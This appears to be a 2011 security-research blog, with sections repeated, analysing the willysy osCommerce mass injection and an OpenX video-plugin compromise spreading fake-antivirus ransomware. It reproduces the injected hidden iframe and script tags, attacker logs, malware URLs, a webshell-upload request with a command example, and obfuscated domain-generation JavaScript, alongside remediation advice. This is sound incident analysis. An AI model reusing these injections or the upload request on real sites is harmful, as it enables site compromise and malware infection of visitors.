Thank you so much for those of you that sent us information--IPs, logs, etc. Sorry we're still analyzing them, but will post new update shortly!
Read more (rest of article)...
Willysy osCommerce injection: Over 6 million infected pages (update: now over 8 million) and a new video with new tools to do the analysis
(update: infection numbers are now over 8 million, see original post for updates>
With the number of infected pages now over 6 million, we've again updated our initial report on this willysy mass injection incident. We've also included in it the following new video, in which we used an internal tool to help make the malware analysis process more clear:
Thank you so much for those of you that sent us information--IPs, logs, etc. Sorry we're still analyzing them, but will post new update shortly!
Read more (rest of article)...
Thank you so much for those of you that sent us information--IPs, logs, etc. Sorry we're still analyzing them, but will post new update shortly!
Read more (rest of article)...
willysy.com mass injection has hit more than 3.8 million pages (update: now > 8 million)
(update: the infection number is over 6 million now as of Aug 3rd)
On July 24th, we published our initial report on this willysy mass injection incident, which at that time hit around 90,000 pages.
As of July 31th, Google shows more than 3,410,000 (willysy) + 386,000 (exero) = 3.8 million infected pages. Note this number is for individual infected pages, not sites or domains.
And so we've largely updated and reformatted (so new info appears at the front) the initial report, adding to it the infection number, source IP of attack, log entries, osCommerce vulnerabilities used, and more. Please go there and have a look, thanks!
Read more (rest of article)...
On July 24th, we published our initial report on this willysy mass injection incident, which at that time hit around 90,000 pages.
As of July 31th, Google shows more than 3,410,000 (willysy) + 386,000 (exero) = 3.8 million infected pages. Note this number is for individual infected pages, not sites or domains.
And so we've largely updated and reformatted (so new info appears at the front) the initial report, adding to it the infection number, source IP of attack, log entries, osCommerce vulnerabilities used, and more. Please go there and have a look, thanks!
Read more (rest of article)...
willysy.com Mass Injection ongoing, over 8 million infected pages, targets osCommerce sites
(Credits: Wayne Huang, Chris Hsiao, NightCola Lin, Sun Huang, Crane Ku)
(Initial post: July 24th)
(Updated: July 30th with new infection number, source IP of attack, log entries, osCommerce vulnerabilities used, and more)
(Updated: Aug 3rd with new video and new infection count: >6 million)
(Updated: Aug 8th with new infection count: >8 million)
[Table of contents]
1. Summary
2. Attack Timeline
3. Source of Attack
4. Vulnerabilities Targeted
5. What Happens to Affected Websites
6. Remediation
7. Infection Details
8. Screenshots
[1. Summary]
1. Number of infections:
As of Aug 3rd, Google shows more than 7,690,000 (willysy) + 629,000 (exero) = 8.3 million infected pages. Note this number is for individual infected pages, not sites or domains.
2. Injected iframe:
initially it was:
3. Attacker:
Ukraine IPs: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214 (all AS47694). Agent string: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
4. Target and website vulnerability:
osCommerce sites, using at least the following vulnerabilities: osCommerce Remote Edit Site Info Vulnerability, osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability, and Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass.
5. Browser exploits used:
CVE-2010-0840 -- Java Trust
CVE-2010-0188 –- PDF LibTiff
CVE-2010-0886 -– Java SMB
CVE-2006-0003 -– IE MDAC
CVE-2010-1885 – HCP
6. Exploit domain:
arhyv.ru, counv.ru
Date of registration: July 20th
Registered by: leshkinaira@yahoo.com
IP: 46.16.240.18 (AS51632 Ukrain - Inet Ltd)
Related domains: xlamv.ru, vntum.ru
7. Malware URL:
http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot
[2. Attack Timeline]
July 10th -- "Angel Injection" write about "osCommerce Remote Edit Site Info Vulnerability" (here, here).
July 11th -- Attacker group starts to test exploitation.
July 20th -- Attacker registers the exploit domains arhyv.ru and counv.ru, using email: leshkinaira@yahoo.com
July 23rd -- Attack launched injects the "Store Name" variable:
Injected iframes pointed to two domains,
initially:
July 24rd -- Initial writeup of this report, at the time there was only 90,000 infected pages:
July 31th -- Google shows more than 3,410,000 (willysy) + 386,000 (exero) = 3.8 million infected pages.
Bing, on the other hand, shows 1.8 million infected pages for willysy:
Aug 3rd -- Google shows more than 5,820,000 (willysy) + 497,000 (exero) = 6.3 million infected pages
Aug 7th -- Google shows more than 7,690,000 (willysy) + 629,000 (exero) = 8.3 million infected pages.
[3. Source of Attack]
Several IPs have been identified: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214, all of which belong to AS47694. These IPs should be located in Ukraine, and belongs to the ISP www.didan.com.ua.
The attackers used the following agent string:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)
If you have logs or know other IPs that you can share, please send them to Wayne at email: wayne@armorize.com.
[4. Vulnerabilities Targeted]
This attack targets osCommerce websites and leverages several osCommerce vulnerabilities, including osCommerce Remote Edit Site Info Vulnerability, disclosed July 10th, 2011, osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability, disclosed May 14, 2011, and Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass, disclosed May 30, 2010.
Below are some sample log entries:
[5. What Happens to Affected Websites]
1. The "Store Name" variable of osCommerce sites will be modified to inject one of the iframes below:
[6. Remediation]
Below is our best attempt to describe the remediation procedures. If you have questions or would like us to do it for you please contact wayne@armorize.com.
1. Know if you've been infected.
1.1 Search your logs for:
1.1.1 Access from IPs: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214.
1.1.2 Access with agent string: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)
1.2 Search your site for the existence of two iframes:
1.3 Or just have HackAlert find everything for you. We know it's good because we built it ;) (greetings Dave, borrowed your quote)
2. Install an anti-virus program on the computer you use to manage your website.
3. Find and remove the injected backdoors.
4. Find and remove the injected iframes / javascripts
5. Secure your osCommerce installation. Upgrade to the latest version and use .htaccess to protect admin directories.
6. Change your website hosting and your osCommerce admin passwords
A very good article on how to secure osCommerce can be found here (thanks Markus):
http://forums.oscommerce.com/topic/313323-how-to-secure-your-oscommerce-22-site/
And the latest version of osCommerce can be downloaded here:
http://www.oscommerce.com/solutions/downloads
[7. Infection Details]
Here's the original youtube video we made of the entire infection process; at the time there were only 90,000 infected pages.
And here's the new one we made when there's over 6 million infected pages:
1. Infected website is injected with one of the following scripts:
2. Browser loads http://willysy.com/images/banners/, redirected (302) to http://papucky.eu/ext/
3. Contents of papucky.eu/ext/ is here on pastebin, loads javascript from http://gooqlepics.com/include.js?in=864
4. javascript here on pastebin, decodes to this, generates iframe pointing to:
http://yandekapi.com/api?in=864
5. Contents of http://yandekapi.com/api?in=864 is here, redirects to: http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV
6. Contents of http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV is here, decodes to this. This includes multiple browser exploits.
7. After successful exploitation, browser downloads and executes malware from here:
http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot
[8. Screenshots]
Vulnerable osCommerce installations allows modification of the site's variables without admin access:
The infection attempt, when not successful, has the injected iframe rendered as content (rather than executed) in the title part of the website. Below are some examples:
Read more (rest of article)...
(Initial post: July 24th)
(Updated: July 30th with new infection number, source IP of attack, log entries, osCommerce vulnerabilities used, and more)
(Updated: Aug 3rd with new video and new infection count: >6 million)
(Updated: Aug 8th with new infection count: >8 million)
1. Summary
2. Attack Timeline
3. Source of Attack
4. Vulnerabilities Targeted
5. What Happens to Affected Websites
6. Remediation
7. Infection Details
8. Screenshots
[1. Summary]
1. Number of infections:
As of Aug 3rd, Google shows more than 7,690,000 (willysy) + 629,000 (exero) = 8.3 million infected pages. Note this number is for individual infected pages, not sites or domains.
2. Injected iframe:
initially it was:
<iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'></iframe>Later it became:
<script src=http://exero.eu/catalog/jquery.js></script>
3. Attacker:
Ukraine IPs: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214 (all AS47694). Agent string: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
4. Target and website vulnerability:
osCommerce sites, using at least the following vulnerabilities: osCommerce Remote Edit Site Info Vulnerability, osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability, and Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass.
5. Browser exploits used:
CVE-2010-0840 -- Java Trust
CVE-2010-0188 –- PDF LibTiff
CVE-2010-0886 -– Java SMB
CVE-2006-0003 -– IE MDAC
CVE-2010-1885 – HCP
6. Exploit domain:
arhyv.ru, counv.ru
Date of registration: July 20th
Registered by: leshkinaira@yahoo.com
IP: 46.16.240.18 (AS51632 Ukrain - Inet Ltd)
Related domains: xlamv.ru, vntum.ru
7. Malware URL:
http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot
[2. Attack Timeline]
July 10th -- "Angel Injection" write about "osCommerce Remote Edit Site Info Vulnerability" (here, here).
July 11th -- Attacker group starts to test exploitation.
178.217.163.33 - - [11/Jul/2011:12:15:04 -0500] "GET /admin/configuration.php/login.php HTTP/1.1" 200 24492 "http://__Masked__by_armorize.com/admin/configuration.php/login.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
July 20th -- Attacker registers the exploit domains arhyv.ru and counv.ru, using email: leshkinaira@yahoo.com
July 23rd -- Attack launched injects the "Store Name" variable:
178.217.165.111 - - [23/Jul/2011:13:50:05 -0500] "GET /admin/configuration.php/login.php?gID=1&cID=1&action=edit HTTP/1.1" 200 24835 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
178.217.165.111 - - [23/Jul/2011:13:50:06 -0500] "POST /admin/configuration.php/login.php?gID=1&cID=1&action=save HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
Injected iframes pointed to two domains,
initially:
<iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'></iframe>and later:
<script src=http://exero.eu/catalog/jquery.js></script>
July 24rd -- Initial writeup of this report, at the time there was only 90,000 infected pages:
July 31th -- Google shows more than 3,410,000 (willysy) + 386,000 (exero) = 3.8 million infected pages.
Bing, on the other hand, shows 1.8 million infected pages for willysy:
Aug 3rd -- Google shows more than 5,820,000 (willysy) + 497,000 (exero) = 6.3 million infected pages
Aug 7th -- Google shows more than 7,690,000 (willysy) + 629,000 (exero) = 8.3 million infected pages.
Several IPs have been identified: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214, all of which belong to AS47694. These IPs should be located in Ukraine, and belongs to the ISP www.didan.com.ua.
The attackers used the following agent string:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)
If you have logs or know other IPs that you can share, please send them to Wayne at email: wayne@armorize.com.
[4. Vulnerabilities Targeted]
This attack targets osCommerce websites and leverages several osCommerce vulnerabilities, including osCommerce Remote Edit Site Info Vulnerability, disclosed July 10th, 2011, osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability, disclosed May 14, 2011, and Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass, disclosed May 30, 2010.
Below are some sample log entries:
178.217.163.33 - - [11/Jul/2011:12:15:04 -0500] "GET /admin/configuration.php/login.php HTTP/1.1" 200 24492 "http://__Masked__by_armorize.com" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
178.217.165.111 - - [23/Jul/2011:13:50:05 -0500] "GET /admin/configuration.php/login.php?gID=1&cID=1&action=edit HTTP/1.1" 200 24835 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
178.217.165.111 - - [23/Jul/2011:13:50:06 -0500] "POST /admin/configuration.php/login.php?gID=1&cID=1&action=save HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
178.217.165.111 - - [23/Jul/2011:13:50:07 -0500] "GET /admin/configuration.php/login.php?gID=1&cID=1&action=edit HTTP/1.1" 200 21883 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
178.217.165.71 - - [23/Jul/2011:19:55:37 -0500] "GET /admin/configuration.php/login.php?cID=1&action=edit HTTP/1.1" 200 25014 "http://__Masked__by_armorize.com/admin/configuration.php?cID=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"
[5. What Happens to Affected Websites]
1. The "Store Name" variable of osCommerce sites will be modified to inject one of the iframes below:
<iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'></iframe>
<script src=http://exero.eu/catalog/jquery.js></script>2. For certain websites the attacker also leaves at least one (sometimes more) backdoors, or "webshells". This happens more especially for shared hosting accounts where the backdoor allows for access to multiple accounts on the same server:
[6. Remediation]
Below is our best attempt to describe the remediation procedures. If you have questions or would like us to do it for you please contact wayne@armorize.com.
1. Know if you've been infected.
1.1 Search your logs for:
1.1.1 Access from IPs: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214.
1.1.2 Access with agent string: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)
1.2 Search your site for the existence of two iframes:
<iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'></iframe>
<script src=http://exero.eu/catalog/jquery.js></script>
1.3 Or just have HackAlert find everything for you. We know it's good because we built it ;) (greetings Dave, borrowed your quote)
2. Install an anti-virus program on the computer you use to manage your website.
3. Find and remove the injected backdoors.
4. Find and remove the injected iframes / javascripts
5. Secure your osCommerce installation. Upgrade to the latest version and use .htaccess to protect admin directories.
6. Change your website hosting and your osCommerce admin passwords
A very good article on how to secure osCommerce can be found here (thanks Markus):
http://forums.oscommerce.com/topic/313323-how-to-secure-your-oscommerce-22-site/
And the latest version of osCommerce can be downloaded here:
http://www.oscommerce.com/solutions/downloads
[7. Infection Details]
Here's the original youtube video we made of the entire infection process; at the time there were only 90,000 infected pages.
And here's the new one we made when there's over 6 million infected pages:
1. Infected website is injected with one of the following scripts:
<iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'></iframe>
<script src=http://exero.eu/catalog/jquery.js></script>
2. Browser loads http://willysy.com/images/banners/, redirected (302) to http://papucky.eu/ext/
3. Contents of papucky.eu/ext/ is here on pastebin, loads javascript from http://gooqlepics.com/include.js?in=864
4. javascript here on pastebin, decodes to this, generates iframe pointing to:
http://yandekapi.com/api?in=864
5. Contents of http://yandekapi.com/api?in=864 is here, redirects to: http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV
6. Contents of http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV is here, decodes to this. This includes multiple browser exploits.
7. After successful exploitation, browser downloads and executes malware from here:
http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot
[8. Screenshots]
Vulnerable osCommerce installations allows modification of the site's variables without admin access:
Read more (rest of article)...
Vulnerable plugins offered on OpenX.org allowed the "dyndns" group to compromise Websites and spread "Personal Shield Pro" via malvertising
Vulnerable plugins offered on OpenX.org allowed the "dyndns" group to compromise Websites and spread "Personal Shield Pro" via malvertising
(Credits: Wayne Huang, Chris Hsiao, Sun Huang, NightCola Lin)
Contents:
[1. Summary]
[2. The infection process]
[3. The OpenX Vulnerability]
[4. The attack method]
[5. How to patch a vulnerable site]
[6. The exploit pack]
[7. Domain randomization]
[8. Random PHP filenames--really random?]
[9. The "dyndns" attacker group]
[10. List of affected websites]
[1. Summary]
Impact: Visitors to infected websites are infected permanently with the fake antivirus ransomware "Personal Shield Pro."
Cause: Vulnerability inside a plugin package offered on the official OpenX website openx.org.
Exploit pack: The g01pack exploit pack.
Attack group: Internally we dub it the "dyndns" group, who was responsible for multiple Clicksor incidents that we reported in May, as well as other types of Web malware injection incidents tracing much further back.
Sample list of infected websites:
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de
[2. The infection process]
In 2009, GMO-Cloud and Armorize started the WebAlert malware monitoring platform in Japan. Armorize and GMO have been working together ever since to actively research Web Malware using threats detected via the WebAlert platform. WebAlert is offered free by GMO to 130,000 businesses worldwide resulting in an abundant wealth of malware related information for Armorize and GMO researchers to use in tracking and investigating web malware and large-scale malicious injection outbreaks.
Starting May of this year, we've been tracking a group we tagged internally as the "dyndns." In mid May, we wrote in our Chinese blog about how they've been massively spreading malvertisements via Clicksor. Armorize had its Chinese blog since 2008, and in May we wrote about this group only in the Chinese blog because we didn't really want to publicly call out Clicksor. But the attack was so widespread it was too hard not to talk about it and so we did it in Chinese. We've included in that post full traffic dumps of the incidents; please read it via Google translate if you're interested. We did inform Clicksor, of course.
Well, soon after our post, this "dyndns" group started to attack Websites that use OpenX to serve ads. Visitors to infected websites would end up having the fake antivirus ransomware "Personal Shield Pro," which is permanently installed inside the victims' PCs. This fake antirivus program disables most system functionalities and attributes the reason to "multiple virus infections on the system." One way to stop this and regain control of the PC is to click on "Remove All" and purchase a "license," which then pays the attackers and also discloses to them the credit card number used.
Here's a video using an infected Japanese website as example:
[3. The OpenX Vulnerability]
All of the infected websites were using OpenX to serve advertisements, with some having the installed the latest version--2.8.7. The infected OpenX file is (in most cases) ajs.php, and here's how the entire URL looks like:
http://bancadellecase.it/admin/banner/www/admin/plugins/videoReport/lib/tmp-upload-images/image.php
A webshell is a backdoor script that allows the attacker full control of the compromised website.
Going up a directory, we found that there's been many attempts to upload a shell:
The first successful upload happened on Jun 29th, and it's obvious that after successfully uploading the webshell, the attacker modified the directory's access rights causing subsequent attempts to fail.
The webshell upload was made possible by a link on the openx.org website for OpenX users to download the OpenX Video Plugin:
This zip file includes OpenX Video Plugin version 1.1, which contains Open Flash Chart, which hasn't been updated since 2009 and contains an unrestricted file upload vulnerability (CVE-2009-4140).
As seen below, downloading and installing the plugin package as offered on openx.org results in installation of OpenX Video Plugin version 1.1:
Version 1.1 isn't patched--the newest, patched version is OpenX Video Plugin 1.8.7, as shown below:
[4. The attack method]
1. The attacker first test for the existence of ofc_upload_image.php: http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
2. If exists, the attacker then creates a simple webshell using the following request:
http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=
3. The attacker now checks whether the shell has been successfully uploaded:
4. And if so, then the attacker can execute any system command by issuing requests such as: http://victim.com/www/admin/plugins/videoReport/lib/tmp-upload-images/shell.php?cmd=ipconfig
5. Use the shell to inject malicious javascript into one of the OpenX php files. In this case it's for example:
[5. How to patch a vulnerable site]
Website owners should click on the "Plugins" tab in their control panels (as shown in the above screenshot) and check for the openXVideoAds version. For versions under 1.8.7, the website owner can simply do the following to patch the vulnerability:
1. Locate the directory ofc2, usually under:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2
2. In the directory, open ofc_upload_image.php and empty the contents:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
This is how version 1.8.7 patches the vulnerability
[6. The exploit pack]
This time the "dyndns" grouped mostly used the g01pack exploit pack:
[7. Domain randomization]
Let's have a look at some of the domains of the redirctors involved in this wave of attack:
blogtxcl.dyndns-blog.com
blogtvaj.dyndns-blog.com
blogkmra.dyndns-blog.com
blogrsxg.dyndns-blog.com
blogopud.dyndns-blog.com
bloghinw.dyndns-blog.com
blogcdir.dyndns-blog.com
blogwwbk.dyndns-blog.com
blogrrwf.dyndns-blog.com
blogootc.dyndns-blog.com
And also:
officekhmv.dyndns-office.com
officetnsb.dyndns-office.com
officetlqz.dyndns-office.com
officevfkt.dyndns-office.com
officeluzi.dyndns-office.com
officeeinw.dyndns-office.com
officejmra.dyndns-office.com
officeklqz.dyndns-office.com
officecdir.dyndns-office.com
officexcgp.dyndns-office.com
officeccgp.dyndns-office.com
And so, apparently, these domains take the format of _X_random.dyndns-X.com. In the first case, X=blog and in the second, X=office. Actually, this is exactly how these random domain names are generated. Let's look at the piece of malicious script injected into the OpenX ajs.php file:
"blog"
and String(\".dyndns-\"+\"blog.com\") resolves to:
"dyndns-blog.com"
And therefore the above javascript generates the random _X_random.dyndns-X.com malicious redirecting domains (redirectors). The randomization is based on the year, month, date and time.
[8. Random PHP filenames--really random?]
So we've covered the domain name generated by the injected script. Now let's look at the entire generated URL. An example:
So actually the seemingly-random "aeea8469e09d31020332ac926f183eaa.php" did appear before, in the malicious URLs involved in the multiple Clicksor malvertising incidents we wrote about. (Google's translation)
Well, further more, in our joint malware research lab with GMO-HS, this "aeea8469e09d31020332ac926f183eaa.php" file has appeared multiple times recently, some in cases associated with websites hacked via this OpenX plugin vulnerability, and some in other cases. An interesting note is that although the domain names are randomized, the file names were left fixed, but made to look random.
Examples:
[9. The "dyndns" attacker group]
And so, this seemingly-random file name "aeea8469e09d31020332ac926f183eaa.php" file isn't really
random, in fact, it's one of the commonly used file names by this "dyndns" group, and has appeared in various Clicksor malvertising incidents in May, as well as multiple other types of Web malware injections dating much further back.
[10. List of affected websites]
Here's a sample list of affected websites involved in this wave of OpenX hacking to spread "Personal Shield Pro":
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de
Read more (rest of article)...
(Credits: Wayne Huang, Chris Hsiao, Sun Huang, NightCola Lin)
[1. Summary]
[2. The infection process]
[3. The OpenX Vulnerability]
[4. The attack method]
[5. How to patch a vulnerable site]
[6. The exploit pack]
[7. Domain randomization]
[8. Random PHP filenames--really random?]
[9. The "dyndns" attacker group]
[10. List of affected websites]
[1. Summary]
Impact: Visitors to infected websites are infected permanently with the fake antivirus ransomware "Personal Shield Pro."
Cause: Vulnerability inside a plugin package offered on the official OpenX website openx.org.
Exploit pack: The g01pack exploit pack.
Attack group: Internally we dub it the "dyndns" group, who was responsible for multiple Clicksor incidents that we reported in May, as well as other types of Web malware injection incidents tracing much further back.
Sample list of infected websites:
theastrologer.com
bancadellecase.com
thrillldrillls.com
luckymoving.com
mediabooks.com
dfonline.jp
dailynews.co.za
perefoorum.ee
sasites.co.za
abmotor.pt
medical-tribune.co.jp
diamondcard.it
adrenal-fatigue.de
allergien-behandeln.de
rhr.ru
kuku.ee
handwerkermarkt.de
[2. The infection process]
In 2009, GMO-Cloud and Armorize started the WebAlert malware monitoring platform in Japan. Armorize and GMO have been working together ever since to actively research Web Malware using threats detected via the WebAlert platform. WebAlert is offered free by GMO to 130,000 businesses worldwide resulting in an abundant wealth of malware related information for Armorize and GMO researchers to use in tracking and investigating web malware and large-scale malicious injection outbreaks.
Starting May of this year, we've been tracking a group we tagged internally as the "dyndns." In mid May, we wrote in our Chinese blog about how they've been massively spreading malvertisements via Clicksor. Armorize had its Chinese blog since 2008, and in May we wrote about this group only in the Chinese blog because we didn't really want to publicly call out Clicksor. But the attack was so widespread it was too hard not to talk about it and so we did it in Chinese. We've included in that post full traffic dumps of the incidents; please read it via Google translate if you're interested. We did inform Clicksor, of course.
Well, soon after our post, this "dyndns" group started to attack Websites that use OpenX to serve ads. Visitors to infected websites would end up having the fake antivirus ransomware "Personal Shield Pro," which is permanently installed inside the victims' PCs. This fake antirivus program disables most system functionalities and attributes the reason to "multiple virus infections on the system." One way to stop this and regain control of the PC is to click on "Remove All" and purchase a "license," which then pays the attackers and also discloses to them the credit card number used.
Here's a video using an infected Japanese website as example:
[3. The OpenX Vulnerability]
All of the infected websites were using OpenX to serve advertisements, with some having the installed the latest version--2.8.7. The infected OpenX file is (in most cases) ajs.php, and here's how the entire URL looks like:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/Curious to know how they've been hacked even with a most up-to-date version of OpenX, we dug deeper. As you can see, in the infected website bancadellecase.it, there's a webshell here:http://bancadellecase.it/admin/banner/www/admin/plugins/videoReport/lib/tmp-upload-images/image.php
Going up a directory, we found that there's been many attempts to upload a shell:
The first successful upload happened on Jun 29th, and it's obvious that after successfully uploading the webshell, the attacker modified the directory's access rights causing subsequent attempts to fail.
The webshell upload was made possible by a link on the openx.org website for OpenX users to download the OpenX Video Plugin:
As seen below, downloading and installing the plugin package as offered on openx.org results in installation of OpenX Video Plugin version 1.1:
Version 1.1 isn't patched--the newest, patched version is OpenX Video Plugin 1.8.7, as shown below:
[4. The attack method]
1. The attacker first test for the existence of ofc_upload_image.php: http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
2. If exists, the attacker then creates a simple webshell using the following request:
http://victim.com/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php?name=shell.php&HTTP_RAW_POST_DATA=
3. The attacker now checks whether the shell has been successfully uploaded:
4. And if so, then the attacker can execute any system command by issuing requests such as: http://victim.com/www/admin/plugins/videoReport/lib/tmp-upload-images/shell.php?cmd=ipconfig
5. Use the shell to inject malicious javascript into one of the OpenX php files. In this case it's for example:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/
[5. How to patch a vulnerable site]
Website owners should click on the "Plugins" tab in their control panels (as shown in the above screenshot) and check for the openXVideoAds version. For versions under 1.8.7, the website owner can simply do the following to patch the vulnerability:
1. Locate the directory ofc2, usually under:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2
2. In the directory, open ofc_upload_image.php and empty the contents:
/admin/banner/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php
This is how version 1.8.7 patches the vulnerability
[6. The exploit pack]
This time the "dyndns" grouped mostly used the g01pack exploit pack:
[7. Domain randomization]
Let's have a look at some of the domains of the redirctors involved in this wave of attack:
blogtxcl.dyndns-blog.com
blogtvaj.dyndns-blog.com
blogkmra.dyndns-blog.com
blogrsxg.dyndns-blog.com
blogopud.dyndns-blog.com
bloghinw.dyndns-blog.com
blogcdir.dyndns-blog.com
blogwwbk.dyndns-blog.com
blogrrwf.dyndns-blog.com
blogootc.dyndns-blog.com
And also:
officekhmv.dyndns-office.com
officetnsb.dyndns-office.com
officetlqz.dyndns-office.com
officevfkt.dyndns-office.com
officeluzi.dyndns-office.com
officeeinw.dyndns-office.com
officejmra.dyndns-office.com
officeklqz.dyndns-office.com
officecdir.dyndns-office.com
officexcgp.dyndns-office.com
officeccgp.dyndns-office.com
And so, apparently, these domains take the format of _X_random.dyndns-X.com. In the first case, X=blog and in the second, X=office. Actually, this is exactly how these random domain names are generated. Let's look at the piece of malicious script injected into the OpenX ajs.php file:
http://www.theastrologer.com/openx/www/delivery/ajs.php?zoneid=3&cb=4021406622&charset=utf-8&loc=http%3A//theastrologer.com/Here's a part of the injected javascript:
function T(harlots, ralphed) { soberer = harlots; var r = String("abcdefghi5zI9".substr(0, 9) + "jklmnopqrA2B".substr(0, 9) + "stuvwxyz"); var limpsey = new String("charARvGp".substr(0, 5) + "t"); var doglegs = "length"; footies = new Date(); var leisure = Math.floor(footies.getUTCHours()); var wyverns = footies.getUTCDate(); var dusters = footies.getUTCMonth(); var evinces = footies.getUTCFullYear(); var anchors = (leisure % r[doglegs]); var a = (leisure + wyverns) % r[doglegs]; var romanos = (leisure + wyverns + dusters) % r[doglegs]; var sorcery = (leisure + wyverns + dusters + evinces) % r[doglegs]; soberer += r[limpsey](anchors); soberer += r[limpsey](a); soberer += r[limpsey](romanos); soberer += r[limpsey](sorcery); return soberer + ralphed;}And here's how function T is called:var soberer = T(new String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)), new String(\".dyndns-\"+\"blog.com\"));String(\"blou0s\".substr(0,3)+\"glqSm\".substr(0,1)) resolves to:
"blog"
and String(\".dyndns-\"+\"blog.com\") resolves to:
"dyndns-blog.com"
And therefore the above javascript generates the random _X_random.dyndns-X.com malicious redirecting domains (redirectors). The randomization is based on the year, month, date and time.
[8. Random PHP filenames--really random?]
So we've covered the domain name generated by the injected script. Now let's look at the entire generated URL. An example:
http://nwetdsou.dyndns-web.com/images/aeea8469e09d31020332ac926f183eaa.php?thread_id=2&f=131263&topic_id=de_at&Let's look at the file name part: aeea8469e09d31020332ac926f183eaa.php. Seemingly random, right? Well not really. If you google for it, you get our Chinese blog about Clicksor malvertising (actually, the post is the only result right now).
So actually the seemingly-random "aeea8469e09d31020332ac926f183eaa.php" did appear before, in the malicious URLs involved in the multiple Clicksor malvertising incidents we wrote about. (Google's translation)
Well, further more, in our joint malware research lab with GMO-HS, this "aeea8469e09d31020332ac926f183eaa.php" file has appeared multiple times recently, some in cases associated with websites hacked via this OpenX plugin vulnerability, and some in other cases. An interesting note is that although the domain names are randomized, the file names were left fixed, but made to look random.
Examples:
